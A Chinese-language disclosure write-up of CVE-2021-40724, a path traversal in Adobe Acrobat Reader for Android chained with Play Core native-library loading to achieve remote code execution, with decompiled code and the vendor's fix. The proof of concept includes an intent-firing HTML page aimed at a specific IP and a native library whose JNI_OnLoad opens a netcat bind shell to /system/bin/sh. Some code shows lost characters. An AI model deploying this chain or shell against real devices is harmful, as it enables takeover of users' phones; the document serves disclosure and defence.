适用于 ANDROID 的 ADOB​​E ACROBAT READER 中的 RCE (CVE-2021-40724)

2022-01-15 01:22:05 浏览数 (1)

概括

在测试 Adob​​e Acrobat 阅读器应用程序时,该应用程序具有允许用户直接从 http/https url 打开 pdf 的功能。此功能易受路径横向漏洞的影响。Abode reader 还使用 Google play 核心库进行动态代码加载。使用路径横向错误和动态代码加载,我能够实现远程代码执行。

寻找路径横向漏洞

代码语言:javascript复制
        <activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <action android:name="android.intent.action.EDIT"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="file"/>
                <data android:scheme="content"/>
                <data android:scheme="http"/>
                <data android:scheme="https"/>
                <data android:mimeType="application/pdf"/>
            </intent-filter>

应用程序中有这个意图过滤器,表明它将接受 http/https url 方案,并且 mimeType 应该application/pdf用于此活动。

例如,当带有数据 url 的意图http://localhost/test.pdf 被发送到 adobe reader 应用程序时,它会下载文件/sdcard/Downloads/Adobe Acrobat夹中的文件,文件名为所发送 url 的 LastPathSegment(ie test.pdf)。

Activitycom.adobe.reader.AdobeReader接收到 Intent 并启动ARFileURLDownloadActivityActivity。

代码语言:javascript复制
public void handleIntent() {
            Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);
            intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());
            intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());
            startActivity(intent2);
    }

此活动ARFileURLDownloadActivity开始com.adobe.reader.misc.ARFileURLDownloadService服务。

代码语言:javascript复制
public void onMAMCreate(Bundle bundle) {
        super.onMAMCreate(bundle);
        this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);
        Bundle bundle2 = new Bundle();
        //...//
        this.mServiceIntent.putExtras(bundle2);
        startService();
    }

com.adobe.reader.misc.ARFileURLDownloadService.java

代码语言:javascript复制
public int onMAMStartCommand(Intent intent, int i, int i2) { 
        Bundle extras = intent.getExtras();
        //..//
        String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);
        ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);
        this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;
        aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);
        return 2;
    }

com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java

代码语言:javascript复制
    private void downloadFile() throws IOException, SVFileDownloadException {
        Exception exc;
        boolean z;
        Throwable th;
        boolean z2;
        Uri fileURI = this.mDownloadModel.getFileURI();
        URL url = new URL(fileURI.toString());
        try {
            String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {
               ARFileFromURLDownloader.DownloadUrlListener
                public void onProgressUpdate(int i, int i2) {
                    ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);
                }

                @Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener
                public boolean shouldCancelDownload() {
                    return ARURLFileDownloadAsyncTask.this.isCancelled();
                }
            }).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);
            //...//

此方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData将 this.mUri.getLastPathSegment() 作为参数,并返回 url 路径中解码的最后一段。

例如,让我们获取这个 url https://localhost/x/../../file.pdf,所以当这个 url 被传递给 getLastPathSegment() 方法时,它将../../file.pdf作为 url 的最后一段并../../file.pdf作为输出返回。

downloadFile在将变量传递到文件实例之前,没有对变量进行任何清理,这导致了路径横向漏洞。

获取 RCE

Adobe Acrobat Reader 应用程序使用 Google play 核心库为其用户提供额外的功能。

了解应用程序是否使用 play 核心库进行动态代码加载的一种简单方法是检查spiltcompat目录中的/data/data/:application_id/files/目录。

使用路径横向漏洞,我可以在应用程序的目录中编写任意 apk。/data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/来自攻击者 apk 的类将自动添加到应用程序的 ClassLoader 中,并且从应用程序调用时将执行恶意代码。更详细的解释请阅读这篇文章

Adobe 阅读器应用程序还会FASOpenCVDF.apk在应用程序运行时下载模块名称。计划是覆盖这个文件并远程执行代码,但这是不可能的。问题在于这个路径横向漏洞,我无法覆盖现有文件……只能创建新文件。

我在这个阶段被困了很长时间,寻找一种无需安装额外 apk 即可远程执行代码的方法。在使用我设备上安装的 play 核心库分析其他应用程序后,我看到 play 核心库还提供了从 /data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/目录加载本机代码(.so 文件)的功能。

FASOpenCVDF.apk模块还从 /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目录加载本机库。我决定查看FASOpenCVDF.apk源代码,在那里我发现这个模块也在尝试加载三个不可用的库,libADCComponent.so这解决了我远程执行代码的问题。libColoradoMobile.solibopencv_info.so

我创建了一个简单的 poc 本机库,将其重命名为libopencv_info.so并将其放入 /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a 目录中,并在下次启动时填充和签名功能将被使用,恶意代码将被执行。

概念证明

代码语言:javascript复制
<html>
<title> RCE in Adobe Acrobat Reader for android </title>
<body>
    <script>
        window.location.href="intent://34.127.85.178/x/x/x/x/x/../../../../../data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a/libopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";
    </script>    
</body>
</html>
代码语言:javascript复制
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {

    if (fork() == 0) {
        system("toybox nc -p 6666 -L /system/bin/sh -l");
    }
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }
    return JNI_VERSION_1_6;
}

漏洞修复!

com.adobe.libs.buildingblocks.utils.BBIntentUtils.java

代码语言:javascript复制
private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\|?<>"]";
public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {
        if (TextUtils.isEmpty(str)) {
            str = BBConstants.DOWNLOAD_FILE_NAME;
        }
        String str3 = null;
        if (!(contentResolver == null || uri == null)) {
            str3 = MAMContentResolverManagement.getType(contentResolver, uri);
        }
        String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;
        if (!TextUtils.isEmpty(str4)) {
            String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);
            if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {
                if (str.lastIndexOf(46) == -1) {
                    str = str   '.'   fileExtensionFromMimeType;
                } else {
                    String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);
                    if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {
                        str = str   '.'   fileExtensionFromMimeType;
                    }
                }
            }
        }
        return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");
    }

0 人点赞